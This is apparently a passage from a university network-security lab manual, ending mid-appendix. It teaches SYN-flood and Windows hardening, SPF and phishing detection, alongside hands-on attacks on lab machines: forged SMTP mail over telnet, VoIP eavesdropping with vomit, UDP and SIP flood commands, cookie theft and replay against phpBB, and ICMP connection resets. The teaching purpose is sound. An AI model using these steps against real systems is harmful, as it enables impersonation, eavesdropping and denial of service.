# Enable TCP SYN Cookie Protection net.ipv4.tcp_syncookies = 1 You must restart your network for the change to take effect. The command to restart the network is the following: /# /etc/rc.d/init.d/network restart Syn Flood defense Reference 1. Enable SYN Cookies:

http://www.faqs.org/docs/securing/chap5sec56.html 2. Disable SYN Cookies:

http://archives.neohapsis.com/archives/linux/caldera/2001-q4/0005.html 3. SYN Cookies Theory:

http://cr.yp.to/syncookies.html 4. More SYN Cookies Theory:

http://en.wikipedia.org/wiki/SYN_cookie

Section 9: Email Spoofing 9.1 Sendmail Spoofing Sendmail is an open source mail transfer agent (MTA): a computer program for the routing and delivery of email. Its authors released the current version, Sendmail 8.13.3', on January 11, 2005. Sendmail acts as a mailer daemon for UNIX and Linux. It allows a user to send email to other email servers as well as allows other email servers to send mail to it and the users that belong to it. In this lab we will set up a mail server and create users on this servers. We will then show how anyone can connect to this server and spoof mail between two legitimate users on this server. Start up the Redhat7.2 virtual machine and do the following. Configuring and setting up a sendmail server # vi /etc/sendmail.cf Type in “/127.0.0.1” and press enter. This will search for the string “127.0.0.1” in the file and will show you the first occurrence of it. Replace this with 0.0.0.0, save and close the file. Save (Esc : wq) Start the sendmail service

25

# service sendmail start Creating users on your mail server. Add the following users to your mail server by using the adduser command:

# adduser authuser # adduser henry

Set passwords for each of these users: # passwd authuser # passwd henry

We will now send a legitimate mail from the authorized user auth user to henry. We will use the pine mail client program for this. Pine® - a Program for Internet News & Email - is a tool for reading, sending, and managing electronic messages. Pine was developed by Computing & Communications at the University of Washington. Though originally designed for inexperienced email a user, Pine has evolved to support many advanced features, and an ever-growing number of configuration and personal-preference options. Pine is available for Unix as well as for personal computers running a Microsoft operating system (PC-Pine). [http://www.washington.edu/pine/] We switch user to the authorized user’s shell. We can do this because we are root. # su authuser $ We then open pine for this user and send out a mail to henry. $ pine In the main window Press E to bypass the first screen. Select compose by using the arrow keys and pressing Enter. Compose a mail to henry as below: To : henry@localhost Subject : Test Hello Prof Owen, This is my new mailing address for the ECE4112 Class. Press Ctrl+X to send this message and then q to quit. Exit back to the root shell as follows: $ exit # We will now check henry’s mail to see if he got it. # su henry $ pine

26

Again press E as before and then press Enter twice to see the inbox and enter on the first message to read it. You should see a mail from “authuser@redhat7.2”. Exit pine as before by pressing q. Now minimize the Redhat7.2 Virtual machine and go back to your RedHat Workstation Hostbox. Open a shell and type in the following: $ telnet group-ip+1 25 Here we are connecting to the sendmail server which runs on default smtp port 25. Then type in the following. HELO redhat7.2 250 redhat7.2 Hello [hostbox-ip], pleased to meet you MAIL FROM: authuser@redhat7.2 250 2.1.0 authuser@redhat7.2... Sender ok RCPT TO: henry@redhat7.2 250 2.1.5 henry@redhat7.2... Recipient ok DATA 354 Enter mail, end with "." on a line by itself SUBJECT: I Know I know what you did last summer!!! . 250 2.0.0 j8JHwT727027 Message accepted for delivery QUIT 221 2.0.0 redhat7.2 closing connection Connection closed by foreign host. Screenshot #5 Attach a screenshot of the above session Now go back to the redhat7.2 virtual machine and open henry’s mailbox. Try and distinguish the first mail from the second. Screenshot #6 Take a screenshot of pine showing both the messages 9.2 Spoofing Emails through Remailers We used to do this part of the lab, but given the “unknown nature” of the web site, actually going to this web site is not recommended by your instructor. Read how to do this but do not actually do it. Note that the ECE network prevents visiting this site from inside the ECE network (the ECE firewall blocks this web site): http://www.elitec0ders.net/afteranonimousmail.htm If you had gone to this web site you would see something similar to the image below.

27

An example is shown bellow where a fake Administrator is asking a user to

change his password at once.

A person that is not internet savvy may see an email like this from an email

address that he works with and may then change his password. Just to show you what is happening here, gmail ws used to receive an email from

this web site: in gmail “more options” > “Show original” you would see something similar to the code below: X-Gmail-Received: fa37e1e6c2cb82e2399f30896200762921a2efbd Delivered-To: xxxxxxxxxx@gmail.com Received: by 10.65.105.6 with SMTP id h6cs25110qbm;

28

Mon, 19 Sep 2005 22:08:06 -0700 (PDT) Received: by 10.36.57.15 with SMTP id f15mr2898079nza; Mon, 19 Sep 2005 22:08:06 -0700 (PDT) Return-Path: <administrator@dot.com> Received: from localhost (wi1.laslo.co.uk [69.30.192.150]) by mx.gmail.com with ESMTP id 15si6929791nzp.2005.09.19.22.08.05; Mon, 19 Sep 2005 22:08:06 -0700 (PDT) Received-SPF: neutral (gmail.com: 69.30.192.150 is neither permitted nor denied by best guess record for domain of administrator@dot.com) Message-Id: <432f9936.2c4c8025.0a73.63c7SMTPIN_ADDED@mx.gmail.com> From: Dot.Com Administrator <administrator@dot.com> To: xxxxxx@gmail.com Subject: Contact us at once !!! Date: Mon, 19 Sep 2005 23:59:00 MDT Please change your password to \"passw1234\" on your dot.com account at once. This is a securty test. If your account password does not change in 15 days. Your account will be banned. Thank You, Dot.com Administration .

Looking closely at the email header, you can see the sender’s IP shown in bold. We can ping the web site to get its IP: Click Start > Run > “cmd” and type “ping www.elitec0ders.net” we can see that both IPs are the same, thus confirming that the web site sent the email but made the return address something different.

29

You can find the ISP of a sender by looking for the source IP of the spoofed sender in a whois IP database. Google “whois IP” and one of the links you will find is: www.arin.net/whois/

Enter the sender’s IP of the email we sent earlier (69.30.192.150) and you will see something similar to the following:

Now you found the email of the person who owns that IP. You can also find out that www.wholesaleinternet.com is the website which promotes the service and you can find contact information there.

30

Some webmail interefaces allow users to type in any return address. This is another way attackers can spoof email:

However, as you already know, the email can be traced back to the sending IP address web server by examining the email header very carefully. To view the header of an email from web mail, click on the “Message Source” link while viewing an email.

31

Section 10: VoIP Snooping Introduction VoIP (voice over IP - that is, voice delivered using the Internet Protocol) is a term used in IP telephony for a set of facilities for managing the delivery of voice information using the Internet Protocol (IP). Voice over IP uses Internet Protocol (IP) to carry voice as packets over a packet-switched data network. Voice information is then sent in digital form in discrete packets rather than in the traditional circuit-switched protocols of the public switched telephone network (PSTN). A major advantage of VoIP and Internet telephony is that it increases operating efficiency, avoiding expensive communication costs and reducing unnecessary expenses that occur with ordinary telephone service. VoIP Security VoIP uses the Internet for phone service, bypassing expensive long-distance communication providers, which results in significant savings. However, as with most technology advancements, if not set up and deployed correctly, a VoIP solution can expose an organization to security breaches (Figure 1). For instance, when VOIP is used externally, gateway technologies convert data packets from the IP network into voice before sending them over a public switched telephone network. When VOIP is used internally, the gateways basically route packetized voice data between the source and the destination. A potential issue is that VOIP gateways can be hacked into by malicious attackers in order to make free telephone calls. In addition, attackers can infiltrate phone conversations and steal confidential data in the same way they would hack an IT system. Spammers can also use denial of service attacks to render the phone system useless. To deploy a VoIP solution, one needs to assure that the solution is safe, secure and protected from outside threats. Below is a list of typical attacks that a VoIP system might face. Toll Fraud: The IP version of the classic attack by a person pretending to be an employee or Console Cracking (asking the operator for an outside trunk) to make long distance calls. However, the attacker impersonates a valid user and IP address by plugging in their phone or spoofing the MAC Ethernet address. Eavesdropping: The attacker sniffs (taps into the LAN wireline or Wi-Fi connection) to intercept voice messages. Available tools such as VOMIT-Voice Over Misconfigured Internet Telephony allow performing this function. Call Hijacking: Attacker spoofs a Session Initiation Protocol (SIP) Response redirecting the caller to a rogue SIP address and intercepts the call. Resource Exhaustion: Also Known As DOS [Denial of Service] attack. This attack reduces the number of available IP addresses, bandwidth, processor memory, and other router/server functions. Message Integrity: MIM [Man-In-the-Middle] attack to intercept, alter, or redirect call. Message Type Attacks: Attacker bombards (repetitive) SIP server with BYE or CANCEL messages or ICMP [Internet Message Control Protocol] "port unreachable" messages.

32

One possible solution to these attacks is encryption. By encrypting data with complex algorithms and encapsulating VoIP packets in a protocol such as IPSEC, the integrity of both end-users’ data can be guaranteed. An example of secure VoIP is Skype. Skype uses AES (Advanced Encryption Standard) – also known as Rijndael – which is also used by U.S. Government organizations to protect sensitive, information. Skype uses 256-bit encryption, which has a total of 1.1 x 1077 possible keys, in order to actively encrypt the data in each Skype call or instant message. Skype uses 1024 bit RSA to negotiate symmetric AES keys. User public keys are certified by the Skype server at login using 1536 or 2048-bit RSA certificates. VoIP Session Initiation Routine In VoIP, communication is established through a protocol called SIP. SIP (session initiation protocol), the protocol for VoIP is an application-layer control protocol for creating, modifying, and terminating sessions with one or more participants. When a user agent (UAC), a client wants to initiate a session with another user (UA), it sends an INVITE request to the SIP proxies sever, asking for a session creation. This server then forwards the request to the SIP proxy server (UAS) of the desired user agent. The UAS will in turn send an INVITE request to the user to determine if he wants to accept the invitation. If the callee accepts the invitation, it sends an ACK. The caller sends an ACK to indicate that the handshake is done and session is to be established. The SIP user agent – a combination of the UAC and the UAS – can also allow peer-to-peer calls to be made using a client-server protocol.

VoIP Session Initiation Routine. Lab Setup: There are two computers already set up with minisip installed on them. One has a microphone attached and the other has speakers. They should be clearly labeled.

33

Minisip Minisip is a free SIP user agent. It features services such as Secure VoIP, SIP, MIKEY, RTP, SRTP, SDP, Video Telephony, Push-to-talk. This tool can be downloaded here: http://www.minisip.org The description from the website says: “Minisip is a SIP User Agent ("Internet telephone") developed at KTH currently running on Linux. Keywords: Secure VoIP; SIP; MIKEY; RTP; SRTP; SDP; Video Telephony; Push-to-talk. You can download it for free from the download page. Minisip is developed by Ph.D and Master’s students at the Royal Institute of Technology, KTH, Stockholm, Sweden. The source code is available as a number of libraries under the GNU Lesser General Public License (LGPL) and applications under the GNU General Public License (GPL).“ Minisip is preinstalled on both of the machines you will use. Configuring Minisip Minisip is configured to work as a P2P (peer-to-peer) VoIP service. This means that there will be no intermediary server that authenticate the user and tell each other IP address to accomplish the connection. Therefore previous knowledge of each other IP address is needed. The two computers are VoIP1 (IP address of 57.35.6.5) and VoIP2 (IP address of 57.35.6.6), and should be clearly labeled. You will be making a one direction call from voip1 to voip2. To run minisip on each machine, type: # ~/runminisip If minisip fails to open, delete the file named .minisip-conf in the root’s directory and try again: # rm ~/.minisip-conf You should see a contact to the other voip computer already listed. With everything set up, click on the correct contact and hit call on minisip on one of the computers and get a screen shot of minisip on the computer receiving the phone call. Talk into the mic on one machine and make sure audio is coming out the other end. Screenshot 7: Minisip receiving phone call. Have your TA check you of for the VoIP conversation accomplished. TA CHECKOFF: ____USE ANSWER SHEET BLANKS____ Hang up the call.

34

Vomit Vomit, just in case you were wondering, stands for Voice Over Misconfigured Internet Telephones. Vomit converts a captured package into a wave file. The utility can be downloaded at: http://vomit.xtdnet.nl/ The description from the web site says: “The vomit utility converts an IP phone conversation into a wave file that can be played with ordinary sound players. Vomit requires a tcpdump output file”. On voip2 (57.35.6.6), open VMWare and start the RedHatWS4 virtual machine. When this starts, open ethereal and begin capturing packets in promiscuous mode on eth0. Establish a VoIP connection again just like you did before. Have a (one-way) conversation and then hangup. Now, back on the virtual machine, stop capturing packets and save it to your home directory (/root) in a file named <group-#>.dump Get a screen shot of Ethereal displaying the connection Invite and ACK. Screenshot 8: Ethereal displaying SIP Invite and Ack. On voip2’s (57.35.6.6) virtual machine, open a shell and cd in to the directory where vomit is located: # cd /root/vomit/vomit-0.2c/ Now run vomit with the following command: # vomit –r /root/<group-#>.dump | /root/waveplay-20010924/waveplay –S8000 –B16 –C1

Listen to the output. Question 10.1 Were vomit and waveplay able to playback the file? Question 10.2: How is the quality of the playback compared to that of the actual conversation? There are many other interesting things to do with VoIP (like man-in-the-middle, or denial of service). We chose not to include them in the lab for reasons of length and the methods are very similar to what we have/will cover in other labs.

35

Appendix A: Further Hardening of Windows TCP/IP Stack http://www.microsoft.com/mspress/books/sampchap/6418.asp We can further harden the Windows TCP/IP stack by modifying registry settings.

Configuring Registry Settings

Goto Start > Run > regedit

Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\:

Set the following values for the following parameters

Parameter Data Value

EnableICMPRedirect 0

SynAttackProtect 2

TCPMaxConnectResponseRetransmissions 2

TCPMaxHalfOpen 500

TCPMaxHalfOpenRetired 400

TCPMaxPortsExhausted 5

TCPMaxDataRetransmissions 3

EnableDeadGWDetect 0

EnablePMTUDiscovery 0

DisableIPSourceRouting 2

NoNameReleaseOnDemand 1

PerformRouterDiscovery 0

36

Parameters and what they mean : 1. EnableICMPRedirect When ICMP redirects are disabled (by setting the value to 0),

attackers cannot carry out attacks that require a host to redirect the ICMP-based attack to a third party.

2. SynAttackProtect Enables SYN flood protection in Windows 2000 and Windows XP. You can set this value to 0, 1, or 2. The default setting, 0, provides no protection. Setting the value to 1 will activate SYN/ACK protection contained in the TCPMaxPortsExhausted, TCPMaxHalfOpen, and TCPMaxHalfOpenRetried values. Setting the value to 2 will protect against SYN/ACK attacks by more aggressively timing out open and half-open connections.

3. TCPMaxConnectResponseRetransmissions Determines how many times TCP retransmits an unanswered SYN/ACK message. TCP retransmits acknowledgments until the number of retransmissions specified by this value is reached.

4. TCPMaxHalfOpen Determines how many connections the server can maintain in the half-open state before TCP/IP initiates SYN flooding attack protection. This entry is used only when SYN flooding attack protection is enabled on this server—that is, when the value of the SynAttackProtect entry is 1 or 2 and the value of the TCPMaxConnectResponseRetransmissions entry is at least 2.

5. TCPMaxHalfOpenRetired Determines how many connections the server can maintain in the half-open state even after a connection request has been retransmitted. If the number of connections exceeds the value of this entry, TCP/IP initiates SYN flooding attack protection. This entry is used only when SYN flooding attack protection is enabled on this server—that is, when the value of the SynAttackProtect entry is 1 and the value of the TCPMaxConnectResponseRetransmissions entry is at least 2.

6. TCPMaxPortsExhausted Determines how many connection requests the system can refuse before TCP/IP initiates SYN flooding attack protection. The system must refuse all connection requests when its reserve of open connection ports runs out. This entry is used only when SYN flooding attack protection is enabled on this server—that is, when the value of the SynAttackProtect entry is 1, and the value of the TCPMaxConnectResponseRetransmissions entry is at least 2.

7. TCPMaxDataRetransmissions Determines how many times TCP retransmits an unacknowledged data segment on an existing connection. TCP retransmits data segments until they are acknowledged or until the number of retransmissions specified by this value is reached.

8. EnableDeadGWDetect Determines whether the computer will attempt to detect dead gateways. When dead gateway detection is enabled (by setting this value to 1), TCP might ask IP to change to a backup gateway if a number of connections are experiencing difficulty. Backup gateways are defined in the TCP/IP configuration dialog box in Network Control Panel for each adapter. When you leave this setting

37

enabled, it is possible for an attacker to redirect the server to a gateway of his choosing.

9. EnablePMTUDiscovery Determines whether path MTU discovery is enabled (1), in which TCP attempts to discover the largest packet size over the path to a remote host. When path MTU discovery is disabled (0), the path MTU for all TCP connections will be fixed at 576 bytes.

10. DisableIPSourceRouting Determines whether a computer allows clients to predetermine the route that packets take to their destination. When this value is set to 2, the computer will disable source routing for IP packets.

11. NoNameReleaseOnDemand Determines whether the computer will release its NetBIOS name if requested by another computer or a malicious packet attempting to hijack the computer's NetBIOS name.

12. PerformRouterDiscovery Determines whether the computer performs router discovery on this interface. Router discovery solicits router information from the network and adds the information retrieved to the route table. Setting this value to 0 will prevent the interface from performing router discovery.

38

Appendix B: Additional Exercise on Protecting Windows Against Denial of Service Windows provides a built in mechanism to prevent common denial of service conditions such as a UDP Flood. By using the windows firewall, we can configure windows to protect itself against standard off-the-shelf Denial of Service attacks. On the RedHat 7.2 machine, start datapool #./datapool.sh –c –d x+2 -l T3 –r updflood Start Ethereal on the Windows machine.

Q1: What kind of responses is the Windows machine returning? Why? Ans : The Windows machine returns ICMP Destination Unreachable messages. This is because the ECHO requests are originating from a random IP address.

39

Now, on the WinXP machine, go to Start > Settings > Network Connections Right click on the Local Area Connection > Properties > Advanced Enable the firewall by ticking the Checkbox “Protect my computer and network by limiting or preventing access to this computer from the internet”

Click the “Settings” button at the bottom of the screen. In the Advanced Settings dialog that appears click the ICMP tag. Ensure that all the options are unchecked. Click Ok on all windows.

40

Q2: Does the windows machine respond with any packets? If so, which kinds of packets does it return? If not, why? Ans: The windows machine does not return any packets, since the firewall blocks all incoming ICMP echo packets. Q3: Out of the four Denial of Service attacks you have tried, how many does the Windows firewall protect you from? Ans: Teardrop [yes] UDPFlood [yes] SYNflood [yes] Twinge [yes]

41

Appendix C: Additional Information on Email Spoofing Sendmail is much pickier about what sort of mail it will send, making it much harder to fake emails. However configuring your sendmail server to be more restrictive about the email it accepts is not sufficient. Why? A prankster or spammer does not need to connect to your mail router, any will do. Since mail may involve multiple steps all that needs to be done is to find one open relay that will forward the email to other, legitimate mail servers. This is an inherent problem with the protocol, but the most common solution is to check the source of a forwarded email against a blacklist. SMTP however is not the only vulnerability on email. Most email server use POP to retrieve mail from them. http://www.faqs.org/rfcs/rfc1939.html POP however is conducted all in plaintext, including the username and password. Hence a sniffer on the network can recover these usernames and passwords. The solution is to not use POP. An alternative email retrieval protocol, IMAP does not transmit username and password in clear text. http://www.faqs.org/rfcs/rfc3501.html

42

Appendix D: SIPSAK Session Initiation Protocol (SIP)Tool*

*This tool as written does not work, but in theory it should work. What is SIPSAK? SIPSAK is a small command line tool for developers and administrators of Session Initiation Protocol (SIP) applications. It can be used for some simple tests on SIP applications and devices. SIPSAK supports a wide variety of tests, including user location, and stress tests. It can also be used to manipulate SIP packets on the fly. Features include the ability to send OPTIONS requests, send text files (which should contain SIP requests), do a traceroute, run a user location test, run a flooding test, run a random character trashed test, interpret and react on test responses, and authenticate with qop supported. Why is it useful? SIPSAK is a SIP stress and diagnostics utility that lets you test the capabilities of the SIP server. This allows the network administrator to stress test the system under different operating conditions. Download You can download the tool from http://sipsak.org/#download. This website provides further information on the tool. Its various features, modes of operation and some screen shots of the output. Remember, always use SIPSAK responsibly. Running it in any of the stress modes puts substantial burden on the network and the server under test. Features: SIPSAK can be run in a number of modes. A few important modes are explained below: - default mode A SIP message is sent to destination in sip-uri and reply status is displayed. The request is either taken from filename or generated as a new OPTIONS message. - traceroute mode (-T) This mode is useful for learning request’s path. It operates similarly to IP-layer utility traceroute(8). - message mode (-M) Sends a short message (similar to SMS from the mobile phones) to a given target. With the option -B the content of the MESSAGE can be set. Usefull might be the options -c and -O in this mode.

43

- usrloc mode (-U) Stress mode for SIP registrar. sipsak keeps registering to a SIP server at high pace. Additionaly the registrar can be stressed with the -I or the -M option. If -I and -M are omitted sipsak can be used to register any given contact (with the -C option) for an account at a registrar and to query the current bindings for an account at a registrar. - randtrash mode (-R) Parser torture mode. sipsak keeps sending randomly corrupted messages to torture a SIP server’s parser. - flood mode (-F) Stress mode for SIP servers. sipsak keeps sending requests to a SIP server at high pace. This lab will be completed using your Red Hat 4.0 WS OS and the pre setup computer in the lab (57.35.6.6). We will download, install and run SIPSAK on our computer and look for the ethereal output on the pre setup computer. Those commands which will need to be run on both computers will appear thus: # ./somecommand –some options

1) Promiscuous mode with Ethereal a. On the pre setup computer (57.35.6.6) start up Ethereal by opening a

terminal and issuing the following command: # ethereal& This will start up ethereal and ready it for displaying the packets.

b. Then go to the “Capture” menu, then click the “Options” menu item. This will open up the configuration page for Ethereal. Uncheck “Enable

network name resolution” and make sure “Capture packets in promiscuous mode” is enabled. This will ensure that Ethereal is capturing any packets

that it may be heading out over the wire, IE “Promiscuous Mode”.

44

c. Click the “Capture” button. Ethereal is now recording all packets on the wire.

2) Now go to your Red Hat 4.0 WS. Make sure a copy of SIPSAK is in your local

directory. a. Execute the command:

# tar –zxvf sipsak-0.9.6-1.tar.gz # cd sipsak-0.9.6

#./configure;make;make install This will unzip and compile your copy of sipsak.

b. Now we are ready to communicate with the Red Hat 4.0 WS on the pre setup computer

Execute the following command to send an IM to 57.35.6.6: # sipsak –B “I can’t let you do that Dave” –s sip:root@57.35.6.6 At this point either you or your partner must monitor the pre setup computer. You will notice that an IM is received. However, minisip sometimes might fail because its protocol isn’t compatible

45

Take an ethereal output at the pre setup computer.

c. Execute the command # sipsak –F –s sip:root@57.35.6.6 This command will flood the connection with an OPTIONS request causing the pre setup computer to overload. Again take an ethereal screen capture at the pre setup computer to view this buffer overflow.

46

Appendix E: Investigating PayPal/Ebay/Bank Account Phishing What is Phishing Phishing is a form of social engineering, characterized by attempts to fraudulently acquire sensitive information, such as passwords and credit card details, by masquerading as a trustworthy person or business in an apparently official electronic communication, such as an email or an instant message. The term phishing arises from the use of increasingly sophisticated lures to "fish" for users' financial information and passwords. (wikipedia: Phishing)

Most methods of phishing use some form of technical deception designed to make a link in an email appear to belong to the spoofed organization. Misspelled URLs or the use of subdomains are common tricks used by phishers, such as this example URL, http://www.yourbank.com.example.com/.

Spoofing links with web addresses containing the @ symbol, which were used to include a username and password in a web URL. For example, the link http://www.google.com@members.tripod.com/ might deceive a casual observer into believing that the link will open a page on www.google.com, whereas the link actually directs the browser to a page on members.tripod.com, using a username of www.google.com; were there no such user, the page would open normally.

Some phishing scams use javascript commands in order to alter the address bar. This is done either by placing a picture of the legitimate entity's URL over the address bar, or by closing the original address bar and opening a new one containing the legitimate URL.

Internationalized domain names (IDN) in web browsers, might allow visually identical web addresses to lead to different, possibly malicious, websites. Some common ways of identifying a phisher’s email are the following: Hyperlinks on the email go to suspicious urls Phisher didn’t bother spoofing the email (correcting the reply-to email address) Emails that require re-authorization, re-verification of sensitive information Spelling errors Whois lookup Since the email address is more than likely spoofed, we will want to look for the

original sender. View the source of a phishing email. (webmail: click “Message Source”, gmail: “More Options” “Show Original”, thunderbird: open the e-mail, “View” -> “Message Source”, outlook express: right-click email -> “Properties” -> “Details” tab)

If the URL looks clean (the url does not include any information that might trace back to your email address), then open a web-browser and view the fake page.

47

Figure 1. IP of phiser

Figure 2. An example of the whois lookup on the IP registrator. Information on the IP that sent the phishing email.

48

Appendix F: Sender Policy Framework Overview The Sender Policy Framework (SPF) is an open standard specifying a technical method to prevent sender address forgery. More precisely, SPF protects the envelope sender address, which is used for the delivery of messages. 1 The Big Picture The Sender Policy Framework helps prevent forge addresses coming from your domain. SPF will ensure that your mail server does not become known as an open relay for spammers. Theory SPF allows the owner of a domain to specify which mail servers they use to send mail from their domain. This technology requires two sides to play together: (1) the domain owner publishes this information in an SPF record in the domain's DNS zone, and (2) when someone else's mail server receives a message claiming to come from that domain, then that receiving server can check whether the message complies with the domain's stated policy. If, e.g., the message comes from an unknown server, it can be considered a fake.2 Implementing SPF You own the domain example.org which has a mail server named mail.example.org. In order to implement, SPF, a TXT record similar to the following will be added to your DNS server. This DNS record says that mail.example.org is an authorized mail server for the example.org domain.

example.org. TXT "v=spf1 mx a:mail.example.org -all"

How SPF Works

1 http://en.wikipedia.org/wiki/Sender_Policy_Framework 2 http://new.openspf.org/Introduction

49

Normally: A user from example.org sends an e-mail to a gmail.com user. Upon receiving the message, gmail.com checks the example.org SPF record to ensure that the mail server that sent the message is allowed to send messages from example.org. Upon validation, gmail.com forwards the message to their user.

Fail Case: A malicious user sends a message to a gmail user with a spoofed @example.org address. Upon receiving the message, gmail.com checks the example.org SPF record to ensure that the mail server that send the message is allowed to send messages from example.org. The sending mail server will not be in the example.org SPF and the message will be dropped.

Further Information 3 There are a variety of additionally options that can be used in the SPF configuration including: SPF Option Information fail The SPF record has designated the host as NOT being allowed to send. softfail The SPF record has designated the host as NOT being allowed to send but is in transition. pass The SPF record designates the host to be allowed to send. neutral The SPF record specifies explicitly that nothing can be said about validity. Unfortunately, SPF may open up users to a potential DoS attack: http://www.ietf.org/internet-drafts/draft-otis-spf-dos-exploit-01.txt References Open SPF: http://new.openspf.org/Introduction Wikipedia: http://en.wikipedia.org/wiki/Sender_Policy_Framework

3 http://new.openspf.org/Introduction

50

Appendix G: Cookie Spoofing Background HTTP cookies (cookies) are information sent by a server to a web browser and stored on the client. Cookies are then sent back unchanged by the browser each time it accesses that server (see Fig 1). Cookies are often used for authenticating, and maintaining specific information about a user (e.g. user’s electronic shopping carts). Cookies are more than often used as a mean to identifying a client from the web server.

Figure 1 – HTTP cookie mechanism

When cookies are used in for this purpose they are like the Social Security Number to a person. It is, therefore, very important to ensure the cookies are not known by any third party. If the attacker somehow obtains the cookie that he is interested in (through any means), he can then construct a spoofed (faked) cookie in his own browser. The web application running on the web server will recognize the attacker someone else whom the attacker tries to be. The web application will then respond to any request that the attacker makes. The damage could be devastating if the cookie is in someone else’s hand. How to spoof a cookie There are many ways to spoof a cookie. Some common methods are:

- Cross site scripting (XSS) - Trojan horse - Network auditing

How the cookie information is being obtained is less important. The consequence all these different methods lead to are the same. That is, the attacker pretends to be you – the victim. In this lab we will examine the Network auditing method to see how cookies work, what purposes they serve, the importance of keeping cookies safe, and how we can fight against network auditing method.

51

The solution to cookies being audited The best way to secure your cookie over a connection is by using a encrypted channel. This can be done through the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) that can be implemented on the HTTP web server. Practice Now we are going to set up an environment for the attack and simulate an actual attack. The web application used is a popular web forum: phpBB (Fig 2).

Figure 2 – phpBB Scenario: We will be using three computers: Redhat WS4.0 (physical machine), WinXP(WM), and Redhat WS4.0 – hardened(VM, which you installed at the beginning of the semester but was never used. - Redhat WS4.0: server, runs A phpBB forum running on - Windows XP: victim, user accessing the forum - Redhat WS4.0 hardened: attacker, steal cookie info from victim

52

This is what the attack will look like:

Figure 3 – attack flow and this is how it works: 0. attacker audits the network 1. victim accesses forum (sending cookie) 2. attacker obtains targeted cookie info 3. attacker creates a duplicate on his own host 4. server recognize attacker as victim (success) Now we are ready to setup all three computers and simulate the attack. Setup: On WS 4.0: Install phpBB:

1. # httpd & (start apache) 2. # /etc/init.d/mysqld start (start mysql server) 3. # cd /var/www/html/ 4. # tar xjf _PATH_TO_DIR/ phpBB-2.0.22.tar.bz2

# cd phpBB2 # chmod ag+w config.php

5. # mysqladmin create db_phpbb (create database for phpbb) 6. # mysqladmin password password (create password for root) 7. open a browser and go to x.x.x.x/phpBB2/

you see the setup page, enter/select: language: English (default) Database Type: MySQL 4.x

53

Installation method: Install Database Server Hostname: localhost Your Database Name: db_phpbb Database Username: root Database Password: password Prefix for tables in database: (default) Admin email address: root@localhost Domain name, server port, and script path: (leave it as it is) Administrator Username: secure_class Administrator password: password Administrator password [ Confirm ]: password Click “Start Install”

8. # chmod ag-w config.php # rm –rf install contrib.

Now you should be able to log on to your own phpBB forum by opening http://x.x.x.x/phpBB2 in any of the machine you own. Turn on your WinXP and WS4.0 hardened. The attack: On Windows XP:

- open Internet explorer. - open URL: http://x.x.x.x/phpBB2 - log in to the forum with user: secure_class and password: password

[after all three steps in WinXP] On WS4.0 hardened: - open ethereal. Start auditing in promiscuous mode

54

Switch to WinXP: - click some links in the forum to either view your profile, view topics…etc

Back to WS4.0 hardened

- stop capturing. - Examined the captured data and look for cookie content in the packets sent

from WinXP to WS 4.0 (the apache server).

55

- Open firefox. Goto http://x.x.x.x/phpBB2. Noticed you are not logged in. - Goto Tools->Add and Edit cookie(the extension you installed) - Select phpbb2mysql_data and hit Edit. - In the content field replace the original with the intercepted cookie data. (copy

and paste)

- Save. Close.

56

- Now go to http://x.x.x.x/phpBB2 again. You should appear as logged in.

Q0: why can the attacker still get the cookie content without having to audit the network when the victim is actually logging in?

Ans: Cookies are sent in every HTTP request. It is not necessary to intercept the login information.

Q1: How is that the server(phpBB on WS4.0) recognize the attacker (on WS4.0 harden) as the victim (on WinXP)?

Ans: phpBB uses cookie to identify a client, and because attacker has the victim’s cookie phpBB is made believe that the attacker is the user on WinXP.

Q1: what would be different in this attack if the connection between WinXP and WS4.0 are actually encrypted? Would this attack still be successful?

Ans: If the connection were encrypted, the type of attack could no longer extract cookie information out of the traffic audited.

57

Appendix H: ICMP Connection Reset Attack

In this lab we used 2 DOS attack tools that spoof IP addresses to cover their tracks (fraggle.c and stream.c). We have found another that causes connection failure without blasting a remote machine with UDP or TCP packets. It simply sends a limited number of ICMP destination unreachable messages to the remote target while spoofing the IP address of another machine. By performing this addendum, you will learn more about ICMP and how kernels handle ICMP hard errors. To perform this addendum:

1) Untar icmp-reset.tar.gz (Found at http://www.gont.com.ar/tools/icmp-attacks/index.html -Type tar xzvf icmp-reset.tar

2) Go into the icmp-reset directory -Type cd icmp-reset

3) Compile icmp-reset.c -Type make

4) ftp into your virtual RedHat 7.2 machine from your virtual windows machine 5) Type in a few commands just to check your connection. 6) Use ethereal to find the port numbers used in the ftp session. 7) Start up ethereal on your Red Hat WS 4.0 machine 8) Run icmp-reset on your Red Hat WS 4.0 machine.

-Type ./icmp-reset -c [Windows IP addr.:Port #] -s [RedHat 7.2 IP addr.:Port #] -t client -c denotes the client, -s specifies the server, and –t denotes whether the client or server will be the target of the attack. -ex. ./icmp-reset –c 57.35.6.x:1807 –s 57.35.6.x:21 –t client

8) Take a screenshot of the killed connection on the virtual Windows machine. You can view that ICMP messages sent in ethereal.

There are no validation checks in the ICMP protocol. As long as a received ICMP error message contains the correct IP addresses and port numbers it will be considered legitimate. The connection will be killed if the ICMP message contains a hard error and is considered valid by the kernel. There are a few ways to defend against this attack. Modify your kernel to check TCP sequence numbers in the TCP header contained in the payload of the ICMP error message and to delay the connection-reset (treat the hard error like a soft error). You can also change your firewall to filter out ICMP messages.

58

Appendix H: ICMP Drive By Pharming A new technique for DNS spoofing and the Man-in-the-Middle is explored. This utilizes the ubiquitous home router/switch. These common boxes are used to isolate home networks from the larger Internet and usually are set to work “out of the box” with default usernames and passwords. Clever web page scripting can reset the settings on these boxes. With this done, DNS spoofing is accomplished by replacing the actual DNS server with a corrupt one. Man in the middle attacks can be accomplished by either changing the router’s default route or by “upgrading” firmware. The vulnerability is the web-based administration feature of these products combined with factory default passwords. Effective countermeasures include: Changing the default password Securing web access through SSH Disabling scripts on browsers (not practical)

Based on a paper by Sid Stamm, IU Bloomington; Zulfikar Ramzan, Symantec; and Markus Jakobsson, IU Bloomington. http://www.cs.indiana.edu/cgi-bin/techreports/TRNNN.cgi?trnum=TR641 This paper explores an inherent weakness in the thousands of home routers sold to the general public. These popular devices act as a combination router and switch. Additionally, they often include cable modems, ADSL modems, or wireless access points as well. Intended to be user friendly, they include DHCP servers and web based management tools. Almost anyone can set one up and share his or her Internet connection amongst several computer. The NAT and firewall features were thought to provide a reasonable level of security by isolating the user’s computer from the Internet. The paper points out that code embedded in a web page can take advantage of device default settings to arbitrarily manipulate the settings. This opens the possibility to several sinister attacks.

59

The vulnerabilities

